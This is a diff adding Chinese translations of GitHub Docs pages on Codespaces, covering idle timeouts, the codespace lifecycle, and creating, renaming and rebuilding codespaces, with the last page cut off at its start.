b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md @@ -0,0 +1,61 @@ +--- +title: 设置 Codespaces 超时时间 +shortTitle: Set the timeout +intro: 您可以在个人设置页面中设置 {% data variables.product.prodname_codespaces %} 的默认超时。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +topics: +- Codespaces +type: how_to +ms.openlocfilehash: 3a4e009b5494b96e6daa6736a441a5fba9594857 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147064416" +--- +代码空间将在一段时间不活动后停止运行。 您可以指定此超时期限的长度。 更新后的设置将应用于任何新创建的代码空间。 + +某些组织可能设有最大空闲超时策略。 如果组织策略设置的最大超时时间少于你设置的默认超时时间,将使用组织的超时时间而不是你设置的超时时间,你将在 codespace 创建后收到此通知。 有关详细信息,请参阅“[限制空闲超时期限](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)”。 + +{% warning %} + +**警告**:Codespaces 按分钟计费。 如果您未主动使用代码空间,但代码空间尚未超时,则仍需为代码空间运行的时间付费。 有关详细信息,请参阅“[关于 Codespaces 的计费](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)”。 + +{% endwarning %} + +{% webui %} + +## 设置默认超时期限 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. 在“默认空闲超时”下,输入所需时间,然后单击“保存”。 时间必须在 5 分钟到 240 分钟(4 小时)之间。 + ![选择超时](/assets/images/help/codespaces/setting-default-timeout.png) + +{% endwebui %} + +{% cli %} + +## 设置 codespace 的超时期限 + +{% data reusables.cli.cli-learn-more %} + +若要设置创建代码空间时的超时期限,请将 `idle-timeout` 参数与 `codespace create` 子命令一起使用。 指定以分钟为单位的时间,后跟 `m`。 时间必须在 5 分钟到 240 分钟(4 小时)之间。 + +```shell +gh codespace create --idle-timeout 90m +``` + +如果在创建代码空间时未指定超时期限,则将使用默认超时期限。 有关设置默认超时期限的信息,请单击此页面上的“Web browser(Web 浏览器)”选项卡。 您当前无法通过 {% data variables.product.prodname_cli %} 指定默认超时期限。 + +{% endcli %} + +{% vscode %} + +## 设置超时期限 + +可以通过 Web 浏览器在 {% data variables.product.prodname_dotcom_the_website %} 上设置默认超时期限。 或者,如果使用 {% data variables.product.prodname_cli %} 创建 codespace,则可以为该特定 codespace 设置超时期限。 有关详细信息,请单击上面相应的选项卡。 + +{% endvscode %} diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md new file mode 100644 index 0000000000..4972566968 --- /dev/null +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md @@ -0,0 +1,89 @@ +--- +title: 代码空间生命周期 +intro: 您可以在 {% data variables.product.prodname_codespaces %} 环境中进行开发,并在整个代码空间生命周期中维护数据。 +versions: + fpt: '*' + ghec: '*' +type: overview +topics: +- Codespaces +- Developer +product: '{% data reusables.gated-features.codespaces %}' +ms.openlocfilehash: 21aa691b94c8247a11a06537523cdaa070bd24b9 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147876058" +--- +## 关于代码空间的生命周期 + +代码空间的生命周期从创建代码空间时开始,到删除代码空间时结束。 您可以断开连接并重新连接到活动代码空间,而不会影响其正在运行的进程。 您可以停止并重新启动代码空间,而不会丢失对项目所做的更改。 + +## 创建 codespace + +当您要处理项目时,可以选择创建新代码空间或打开现有代码空间。 您可能希望每次在 {% data variables.product.prodname_codespaces %} 中开发时,都希望从项目的分支创建新的代码空间,或者为功能保留长时间运行的代码空间。 有关详细信息,请参阅“[创建 codespace](/codespaces/developing-in-codespaces/creating-a-codespace)”。 + +{% data reusables.codespaces.max-number-codespaces %} 同样,如果达到最大活动 codespace 数并尝试启动另一个活动 codespace,系统将提示你停止其中一个活动 codespace。 + +如果选择在每次处理项目时都创建新的代码空间,则应定期推送更改,以便任何新提交都位于 {% data variables.product.prodname_dotcom %} 上。 如果选择对项目使用长时间运行的代码空间,则每次开始在代码空间中工作时,都应从存储库的默认分支中提取代码空间,以便您的环境具有最新的提交。 此工作流程与在本地计算机上处理项目时非常相似。 + +{% data reusables.codespaces.prebuilds-crossreference %} + +## 在代码空间中保存更改 + +当您通过 Web 连接到代码空间时,将自动为 Web 编辑器启用自动保存,并配置为在延迟后保存更改。 当您通过桌面上运行的 {% data variables.product.prodname_vscode %} 连接到代码空间时,必须启用自动保存。 有关详细信息,请参阅 {% data variables.product.prodname_vscode %} 文档中的[保存/自动保存](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save)。 + +如果要将更改保存在代码空间文件系统上的 git 存储库中,请提交这些更改并将其推送到远程分支。 + +如果您有未保存的更改,编辑器将在退出之前提示您保存这些更改。 + +## 代码空间超时 + +如果使代码空间在没有交互的情况下保持运行状态,或者退出代码空间而不显式停止它,则代码空间将在一段时间不活动后超时并停止运行。 默认情况下,代码空间将在处于非活动状态 30 分钟后超时,但您可以自定义所创建的新代码空间的超时期限的持续时间。 有关为 codespace 设置默认超时期限的详细信息,请参阅“[为 {% data variables.product.prodname_github_codespaces %} 设置超时期限](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)”。 有关停止 codespace 的详细信息,请参阅“[停止 codespace](#stopping-a-codespace)”。 + +当代码空间超时时,将保留上次保存更改时的数据。 有关详细信息,请参阅“[在 codespace 中保存更改](#saving-changes-in-a-codespace)”。 + +## 重建代码空间 + +您可以重新构建代码空间以还原干净状态,就像创建新代码空间一样。 对于大多数使用,可以创建新的代码空间作为重新构建代码空间的替代方法。 你最有可能重新构建代码空间来实施对开发容器的更改。 重新构建代码空间时,将清除所有 Docker 容器、映像、卷和缓存,然后重新构建代码空间。 + +如果需要在重新构建过程中保留任何此类数据,则可以在容器中的所需位置创建指向持久性目录的符号链接 (symlink)。 例如,在 `.devcontainer` 目录中,可以创建在重新生成过程中会保留的 `config` 目录。 然后,可将 `config` 目录及其内容作为 `postCreateCommand` 在 `devcontainer.json` 文件进行符号链接。 + +```json +{ + "image": "mcr.microsoft.com/vscode/devcontainers/base:alpine", + "postCreateCommand": ".devcontainer/postCreate.sh" +} +``` + +在下面的示例 `postCreate.sh` 文件中,`config` 目录的内容以符号链接到主目录。 + +```bash +#!/bin/bash +ln -sf $PWD/.devcontainer/config $HOME/config && set +x +``` + +## 停止代码空间 + +您可以随时停止代码空间。 停止代码空间时,将停止所有正在运行的进程并清除终端历史记录。 下次启动代码空间时,代码空间中的任何已保存更改仍将可用。 如果未明确停止代码空间,它将继续运行,直到它因非活动而超时。 有关详细信息,请参阅“[codespaces 超时](#codespaces-timeouts)”。 + +只有运行的代码空间才会产生 CPU 费用;停止的代码空间仅产生存储成本。 + +您可能希望停止并重新启动代码空间以对其应用更改。 例如,如果更改用于代码空间的计算机类型,则需要停止并重新启动它才能使更改生效。 您还可以停止代码空间,并在遇到错误或意外情况时选择重新启动或删除它。 有关详细信息,请参阅“[暂停或停止 codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)”。 + +## 删除代码空间 + +您可以为特定任务创建代码空间,然后在将更改推送到远程分支后安全地删除该代码空间。 + +如果您尝试删除包含未填充 git 提交的代码空间,编辑器将通知您有尚未推送到远程分支的更改。 您可以推送任何所需的更改,然后删除代码空间,或继续删除代码空间和任何未提交的更改。 还可以将代码导出到新分支,而无需创建新的代码空间。 有关详细信息,请参阅“[将更改导出到分支](/codespaces/troubleshooting/exporting-changes-to-a-branch)”。 + +您将需要支付所有代码空间的存储费用。 删除代码空间后,将不再向您收费。 + +有关删除 codespace 的详细信息,请参阅“[删除 codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)”。 + +## 使用代码空间时丢失连接 + +{% data variables.product.prodname_codespaces %} 是一个基于云的开发环境,需要连接互联网。 如果您在代码空间中工作时失去互联网连接,您将无法访问代码空间。 但是,任何未提交的更改将保存。 当您再次接入互联网时,可以按离开时完全相同的状态连接到代码空间。 如果您的互联网连接不稳定,则应经常提交并推送更改。 + +如果知道自己会经常脱机工作,则可以使用[扩展名为“{% data variables.product.prodname_vscode %} Remote - Containers”](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers)的 `devcontainer.json` 文件,以生成并附加到存储库的本地开发容器。 有关详细信息,请参阅 {% data variables.product.prodname_vscode %} 文档中的[在容器内开发](https://code.visualstudio.com/docs/remote/containers)。 diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md new file mode 100644 index 0000000000..f18918a28a --- /dev/null +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md @@ -0,0 +1,161 @@ +--- +title: 创建 codespace +intro: 您可以为仓库中的分支创建代码空间以便在线开发。 +product: '{% data reusables.gated-features.codespaces %}' +redirect_from: +- /github/developing-online-with-github-codespaces/creating-a-codespace +- /github/developing-online-with-codespaces/creating-a-codespace +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Codespaces +- Fundamentals +- Developer +shortTitle: Create a codespace +ms.openlocfilehash: ae14b01f409f9c6bfb43c579aaa9c76bb2421cfe +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106731" +--- +## 关于代码空间的创建 + +可以在 {% data variables.product.prodname_dotcom_the_website %} 上、{% data variables.product.prodname_vscode %} 中或使用 {% data variables.product.prodname_cli %} 创建代码空间。 {% data reusables.codespaces.codespaces-are-personal %} + +代码空间与仓库的特定分支相关联,且仓库不能为空。 每个仓库甚至每个分支可创建多个代码空间。 + +创建代码空间时,需要执行一些步骤并将您连接到开发环境。 + +- 第 1 步:虚拟机和存储被分配到您的代码空间。 +- 第 2 步:创建容器并克隆仓库。 +- 第 3 步:您可以连接到代码空间。 +- 第 4 步:代码空间继续创建后设置。 + +有关创建 codespace 时发生的情况的详细信息,请参阅“[深入探讨](/codespaces/getting-started/deep-dive)。” + +有关 codespace 生命周期的详细信息,请参阅“[Codespace 生命周期](/codespaces/developing-in-codespaces/codespaces-lifecycle)。” + +如果要对 codespace 使用 Git 挂钩,则应在步骤 4 中使用 [`devcontainer.json` 生命周期脚本](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts)(如 `postCreateCommand`)设置挂钩。 由于在克隆存储库之后创建了 codespace 容器,因此在容器映像中配置的任何[ git 模板目录](https://git-scm.com/docs/git-init#_template_directory)将不适用于你的 codespace。 在创建代码空间后,必须改为安装挂钩。 有关使用 `postCreateCommand` 的详细信息,请参阅 {% data variables.product.prodname_vscode_shortname %} 文档中的 [`devcontainer.json` 参考](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties)。 + +{% data reusables.codespaces.use-visual-studio-features %} + +{% data reusables.codespaces.you-can-see-all-your-codespaces %} + +{% data reusables.codespaces.prebuilds-crossreference %} + +## 访问 {% data variables.product.prodname_github_codespaces %} + +当可以访问 {% data variables.product.prodname_github_codespaces %} 时,你将在查看存储库时在“{% octicon "code" aria-label="The code icon" %} 代码”下拉菜单中看到“Codespaces”选项卡。 + +在以下情况下,你将有权访问 {% data variables.product.prodname_github_codespaces %}: + +满足以下所有条件: +* 你是已启用 {% data variables.product.prodname_codespaces %} 并设置支出限制的组织的成员或外部协作者。 +* 组织所有者允许你创建 codespace,费用由组织承担。 +* 要为其创建 codespace 的存储库由此组织拥有。 + +或者同时满足以下两个条件: +* 你在参与适用于个人用户的 {% data variables.product.prodname_codespaces %} beta 版本。 +* 你拥有要为其创建 codespace 的存储库,或者它由你是成员或外部协作者的组织所拥有。 + +在组织中使用 {% data variables.product.prodname_codespaces %} 之前,所有者或帐单管理员必须设定支出限额。 有关详细信息,请参阅“[管理 {% data variables.product.prodname_github_codespaces %} 的支出限制](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces#about-spending-limits-for-codespaces)”。 + +组织所有者可以指定谁可以在费用由组织承担的情况下创建和使用 codespace。 组织所有者还可以阻止针对任何 codespace 使用向组织收取费用。 有关详细信息,请参阅“[为组织启用 {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)”。 + +## 创建 codespace + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +1. 在仓库名称下,使用“Branch(分支)”下拉菜单选择您要为其创建代码的分支。 + + ![分支下拉菜单](/assets/images/help/codespaces/branch-drop-down.png) + +1. 单击“{% octicon "code" aria-label="The code icon" %} 代码”按钮,然后单击“codespace”选项卡。 + + ![新建代码空间按钮](/assets/images/help/codespaces/new-codespace-button.png) + + 如果此存储库的 codespace 可计费,则会在“在 BRANCH 上创建 codespace”按钮下方显示一条消息,告知谁将为 codespace 付费。 + +1. 使用默认选项或在配置高级选项之后创建 codespace: + + * 使用默认选项 + + 若要使用默认选项创建 codespace,请单击“在分支上创建 codespace”。 + + (可选)在单击“在分支上创建 codespace”之前,可以单击按钮一侧的向下箭头以查看将用于 codespace 的计算机类型。 + + ![查看默认计算机类型](/assets/images/help/codespaces/default-machine-type.png) + + {% note %} + + 注意:默认情况下,将选择具有对存储库有效的最低资源的计算机类型。 + + {% endnote %} + + * **配置选项** + + 若要配置 codespace 高级选项(例如其他计算机类型或特定 `devcontainer.json` 文件),请执行以下操作: + + 1. 单击“在分支上创建 codespace”按钮一侧的向下箭头,然后单击“配置并创建 codespace”。 + 1. 单击“配置并创建 codespace”按钮。 + 1. 在 codespace 选项页上,从下拉菜单中选择首选选项。 + + ![codespace 选项页](/assets/images/help/codespaces/advanced-options.png) + + {% note %} + + **说明** + + * 可以为选项页添加书签,以便快速创建此存储库和分支的 codespace。 + * [https://github.com/codespaces/new](https://github.com/codespaces/new) 页提供了为任何存储库和分支创建 codespace 的快速方法。 可以通过在浏览器的地址栏中输入 `codespace.new` 来快速访问此页面。 + * 有关 `devcontainer.json` 文件的详细信息,请参阅“[开发容器简介](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson)”。 + * 有关计算机类型的详细信息,请参阅“[更改 codespace 的计算机类型](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)”。 + * {% data reusables.codespaces.codespaces-machine-type-availability %} + + {% endnote %} + + 1. 单击“启动会话”。 + +{% endwebui %} + +{% vscode %} + +{% data reusables.codespaces.creating-a-codespace-in-vscode %} + +{% endvscode %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +若要创建新的 codespace,请使用 `gh codespace create` 子命令。 + +```shell +gh codespace create +``` + +系统会提示你选择存储库。 如果此存储库的 codespace 可计费,则会显示消息,告知谁将为 codespace 付费。 系统将提示你选择分支、开发容器配置文件(如果有多个可用)和计算机类型(如果有多个可用)。 + +或者,您可以使用标志来指定部分或全部选项: + +```shell +gh codespace create -r OWNER/REPO -b BRANCH --devcontainer-path PATH -m MACHINE-TYPE +``` + +在此示例中,将 `owner/repo` 替换为存储库标识符。 将 `branch` 替换为你希望最初在 codespace 中签出的分支的名称或提交的完整 SHA 哈希。 如果使用 `-r` 标志而不使用 `b` 标志,则从默认分支创建 codespace。 + +将 `path` 替换为要用于新的 codespace 的开发容器配置文件的路径。 如果省略此标志,并且有多个开发容器文件可用,系统将提示你从列表中选择一个文件。 有关开发容器配置文件的详细信息,请参阅“[开发容器简介](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)”。 + +将 `machine-type` 替换为可用计算机类型的有效标识符。 标识符是字符串,例如:`basicLinux32gb` 和 `standardLinux32gb`。 可用的计算机类型取决于存储库、个人帐户以及你的位置。 如果输入无效或不可用的计算机类型,则错误消息中将显示可用类型。 如果省略此标志,并且有多个计算机类型可用,系统将提示您从列表中选择一个计算机类型。 + +有关此命令的选项的完整详细信息,请参阅 [{% data variables.product.prodname_cli %} 手册](https://cli.github.com/manual/gh_codespace_create)。 + +{% endcli %} + +## 延伸阅读 +- “[打开现有 codespace](/codespaces/developing-in-codespaces/opening-an-existing-codespace)” +- “[添加‘在 GitHub Codespaces 中打开’锁屏提醒](/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge)” diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/renaming-a-codespace.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/renaming-a-codespace.md new file mode 100644 index 0000000000..1f6130680a --- /dev/null +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/renaming-a-codespace.md @@ -0,0 +1,59 @@ +--- +title: 重命名 codespace +intro: 可以使用 {% data variables.product.prodname_cli %} 将 codespace 显示名称更改为所选名称之一。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Codespaces +- Fundamentals +- Developer +shortTitle: Rename a codespace +ms.openlocfilehash: 58945e68f80f152751ad129afa7276792f015429 +ms.sourcegitcommit: 406913cde11b45dbb2098db7973217781ecad2c0 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/19/2022 +ms.locfileid: "147614522" +--- +## 关于重命名 codespace + +为每个 codespace 分配一个自动生成的显示名称。 如果有多个 codespace,则显示名称有助于区分不同 codespace。 例如:`literate space parakeet`。 可以更改 codespace 的显示名称。 + +若要查找 codespace 的显示名称,请执行以下操作: + +- 在 {% data variables.product.product_name %} 上,在 https://github.com/codespaces 处查看 codespace 列表。 + + ![GitHub 中 codespace 列表的屏幕截图](/assets/images/help/codespaces/codespaces-list-display-name.png) + +- 在 {% data variables.product.prodname_vscode %} 桌面应用程序中,或在 {% data variables.product.prodname_vscode_shortname %} Web 客户端中,单击远程资源管理器。 显示名称会在存储库名称下方显示。 例如:以下屏幕截图中的 `symmetrical space telegram`。 + + ![VS Code 中远程资源管理器的屏幕截图](/assets/images/help/codespaces/codespaces-remote-explorer.png) + +- 在本地计算机上的终端窗口中,使用这条 {% data variables.product.prodname_cli %} 命令:`gh codespace list`。 +### 永久 codespace 名称 + +创建 codespace 时,除了显示名称,还会向 codespace 分配永久名称。 该名称是 {% data variables.product.company_short %} 句柄、存储库名称和一些随机字符的组合。 例如:`octocat-myrepo-gmc7`。 你无法更改此名称。 + +若要查找 codespace 的永久名称,请执行以下操作: + +* 在 {% data variables.product.product_name %} 上,将鼠标悬停在 https://github.com/codespaces 上的“用浏览器打开”选项时,永久名称会在弹出窗口中显示。 + + ![悬停时显示的 codespace 名称的屏幕截图](/assets/images/help/codespaces/find-codespace-name-github.png) + +* 在 codespace 中,在终端中使用此命令:`echo $CODESPACE_NAME`。 +* 在本地计算机上的终端窗口中,使用这条 {% data variables.product.prodname_cli %} 命令:`gh codespace list`。 + +## 重命名 codespace + +如果有多个要在较长时间内使用的 codespace,更改 codespace 的显示名称可能很有用。 适当的名称有助于识别用于特定用途的 codespace。 可以使用 {% data variables.product.prodname_cli %} 更改 codespace 的显示名称。 + +若要为 codespace 重命名,请使用 `gh codespace edit` 子命令: + +```shell +gh codespace edit -c permanent name of the codespace -d new display name +``` + +在本例中,将 `permanent name of the codespace` 替换为 codespace 的永久名称。 将 `new display name` 替换为所需显示名称。 \ No newline at end of file diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/the-codespace-lifecycle.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/the-codespace-lifecycle.md new file mode 100644 index 0000000000..454bc746a6 --- /dev/null +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/the-codespace-lifecycle.md @@ -0,0 +1,72 @@ +--- +title: codespace 生命周期 +intro: 可以在 {% data variables.product.prodname_github_codespaces %} 环境中进行开发,并在整个 codespace 生命周期中维护数据。 +versions: + fpt: '*' + ghec: '*' +type: overview +topics: +- Codespaces +- Developer +redirect_from: +- /codespaces/developing-in-codespaces/codespaces-lifecycle +ms.openlocfilehash: 660ced63e34c6de8025c65946542baca43534cfe +ms.sourcegitcommit: 3ff64a8c8cf70e868c10105aa6bbf6cd4f78e4d3 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 11/22/2022 +ms.locfileid: "148180793" +--- +## 关于代码空间的生命周期 + +代码空间的生命周期从创建代码空间时开始,到删除代码空间时结束。 您可以断开连接并重新连接到活动代码空间,而不会影响其正在运行的进程。 您可以停止并重新启动代码空间,而不会丢失对项目所做的更改。 + +## 创建 codespace + +当您要处理项目时,可以选择创建新代码空间或打开现有代码空间。 你可能希望每次在 {% data variables.product.prodname_github_codespaces %} 中开发时从存储库的分支创建新的 codespace,或者为功能保留长时间运行的 codespace。 {% data reusables.codespaces.starting-new-project-template %} 有关详细信息,请参阅“[为存储库创建 codespace](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)”和“[从模板创建 codespace](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)”。 + +{% data reusables.codespaces.max-number-codespaces %} 同样,如果达到最大活动 codespace 数并尝试启动另一个活动 codespace,系统将提示你停止其中一个活动 codespace。 + +如果选择在每次处理项目时都创建新的代码空间,则应定期推送更改,以便任何新提交都位于 {% data variables.product.prodname_dotcom %} 上。 如果选择对项目使用长时间运行的代码空间,则每次开始在代码空间中工作时,都应从存储库的默认分支中提取代码空间,以便您的环境具有最新的提交。 此工作流程与在本地计算机上处理项目时非常相似。 + +{% data reusables.codespaces.prebuilds-crossreference %} + +## 在代码空间中保存更改 + +当您通过 Web 连接到代码空间时,将自动为 Web 编辑器启用自动保存,并配置为在延迟后保存更改。 当您通过桌面上运行的 {% data variables.product.prodname_vscode %} 连接到代码空间时,必须启用自动保存。 有关详细信息,请参阅 {% data variables.product.prodname_vscode %} 文档中的[保存/自动保存](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save)。 + +你的工作将保存在云中的虚拟机上。 可以关闭和停止 codespace,稍后返回到保存的工作。 如果您有未保存的更改,编辑器将在退出之前提示您保存这些更改。 但是,如果 codespace 被删除,则你的工作也会被删除。 若要持久保存工作,需要提交更改并将其推送到远程存储库,或者将工作发布到新的远程存储库(如果从模板创建 codespace)。 有关详细信息,请参阅[在 codespace 中使用源代码管理](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace)。 + +## {% data variables.product.prodname_github_codespaces %} 超时 + +如果使代码空间在没有交互的情况下保持运行状态,或者退出代码空间而不显式停止它,则代码空间将在一段时间不活动后超时并停止运行。 默认情况下,代码空间将在处于非活动状态 30 分钟后超时,但您可以自定义所创建的新代码空间的超时期限的持续时间。 有关为 codespace 设置默认超时期限的详细信息,请参阅“[为 {% data variables.product.prodname_github_codespaces %} 设置超时期限](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)”。 有关停止 codespace 的详细信息,请参阅“[停止 codespace](#stopping-a-codespace)”。 + +当代码空间超时时,将保留上次保存更改时的数据。 有关详细信息,请参阅“[在 codespace 中保存更改](#saving-changes-in-a-codespace)”。 + +## 重建代码空间 + +可以重新生成 codespace 来实施对开发容器配置的更改。 对于大多数使用,可以创建新的代码空间作为重新构建代码空间的替代方法。 默认情况下,重新生成 codespace 时,{% data variables.product.prodname_github_codespaces %} 将重复使用缓存中的映像,以加快重新生成过程。 或者,可以执行完全重新生成,以清除缓存并使用新映像重新生成容器。 + +有关详细信息,请参阅“[开发容器简介](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace)”和“[完全重新生成容器](/codespaces/codespaces-reference/performing-a-full-rebuild-of-a-container)”。 + +## 停止代码空间 + +{% data reusables.codespaces.stopping-a-codespace %} 有关详细信息,请参阅“[停止和启动 codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)”。 + +## 删除代码空间 + +您可以为特定任务创建代码空间,然后在将更改推送到远程分支后安全地删除该代码空间。 + +如果您尝试删除包含未填充 git 提交的代码空间,编辑器将通知您有尚未推送到远程分支的更改。 您可以推送任何所需的更改,然后删除代码空间,或继续删除代码空间和任何未提交的更改。 还可以将代码导出到新分支,而无需创建新的代码空间。 有关详细信息,请参阅“[将更改导出到分支](/codespaces/troubleshooting/exporting-changes-to-a-branch)”。 + +将自动删除已停止并在指定时间段内保持非活动状态的 codespace。 默认情况下,非活动 codespace 在 30 天后删除,但你可以自定义 codespace 保持期。 有关详细信息,请参阅“[配置 codespace 的自动删除](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)”。 + +如果创建一个 codespace,无论是处于活动状态还是已停止,它将持续产生存储费用,直到被删除。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_github_codespaces %} 的计费](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-storage-usage)”。 删除 codespace 不会减少 {% data variables.product.prodname_github_codespaces %} 的当前计费金额,该金额在每个月度计费周期内累积。 有关详细信息,请参阅“[查看 {% data variables.product.prodname_github_codespaces %} 使用情况](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)”。 + +有关删除 codespace 的详细信息,请参阅“[删除 codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)”。 + +## 使用 {% data variables.product.prodname_github_codespaces %} 时丢失连接 + +{% data variables.product.prodname_github_codespaces %} 是一个基于云的开发环境,需要连接 Internet。 如果您在代码空间中工作时失去互联网连接,您将无法访问代码空间。 但是,任何未提交的更改将保存。 当您再次接入互联网时,可以按离开时完全相同的状态连接到代码空间。 如果您的互联网连接不稳定,则应经常提交并推送更改。 + +如果知道自己会经常脱机工作,则可以使用[扩展名为“Dev Containers”](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers)的 `devcontainer.json` 文件,以便 {% data variables.product.prodname_vscode_shortname %} 生成并附加到存储库的本地开发容器。 有关详细信息,请参阅 {% data variables.product.prodname_vscode %} 文档中的[在容器内开发](https://code.visualstudio.com/docs/remote/containers)。 diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests.md new file mode 100644 index 0000000000..19398d4ab7 --- /dev/null +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests.md @@ -0,0 +1,48 @@ +--- +title: 将 Codespaces 用于拉取请求 +shortTitle: Pull requests +intro: 您可以在开发工作流程中使用 {% data variables.product.prodname_codespaces %} 来创建拉取请求、审阅拉取请求和处理审阅注释。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Codespaces +- Visual Studio Code +- Developer +ms.openlocfilehash: f3c0a007f1f9d53796e5969102bc8b6622702a96 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145101242" +--- +## 关于 {% data variables.product.prodname_codespaces %} 中的拉取请求 + +{% data variables.product.prodname_codespaces %} 为您提供了处理拉取请求可能需要的许多功能: + +- [创建拉取请求](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#raising-a-pull-request) - 使用终端和 Git 命令或源代码管理视图,可以像在 {% data variables.product.prodname_dotcom_the_website %} 上一样创建拉取请求。 如果存储库使用拉取请求模板,则可以在源代码管理视图中使用它。 +- [打开拉取请求](#opening-a-pull-request-in-codespaces) - 可以在代码空间中打开现有拉取请求,前提是你对要合并的分支具有代码空间访问权限。 +- [审查拉取请求](#reviewing-a-pull-request-in-codespaces) - 在代码空间中打开拉取请求后,可以使用“GitHub 拉取请求”视图添加审查评论和批准拉取请求。 还可以使用 {% data variables.product.prodname_codespaces %} 来[查看审查评论](#view-comments-from-a-review-in-codespaces)。 + +## 在 {% data variables.product.prodname_codespaces %} 中打开拉取请求 + +{% data reusables.repositories.sidebar-pr %} + +2. 在拉取请求列表中,单击要在 {% data variables.product.prodname_codespaces %} 中打开的拉取请求。 +3. 在屏幕右侧,单击“{% octicon "code" aria-label="The code icon" %} 代码”。 +4. 在 {% data variables.product.prodname_codespaces %} 选项卡中,单击“在分支上创建 codespace”。 + ![用于在代码空间中打开 PR 的选项](/assets/images/help/codespaces/open-with-codespaces-pr.png) + +## 在 {% data variables.product.prodname_codespaces %} 中审阅拉取请求 + +{% data reusables.codespaces.review-pr %} + +有关查看拉取请求的详细信息,请参阅“[查看拉取请求中的建议更改](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)”。 + +## 查看 {% data variables.product.prodname_codespaces %} 中审阅的评论 + +收到有关拉取请求的反馈后,可以[在代码空间中打开它](#opening-a-pull-request-in-codespaces)以查看[审查评论](#reviewing-a-pull-request-in-codespaces)。 从那里,您可以回复评论、添加回复或关闭评论。 + + ![用于在代码空间中打开 PR 的选项](/assets/images/help/codespaces/incorporating-codespaces.png) diff --git a/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md new file mode 100644 index 0000000000..4e9f25d6a5 --- /dev/null +++ b/translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md @@ -0,0 +1,119 @@ +--- +title: 在 Visual Studio Code 中使用代码空间 +intro: 可以将 {% data variables.product.prodname_github_codespaces %} 扩展连接到在 {% data variables.product.product_name 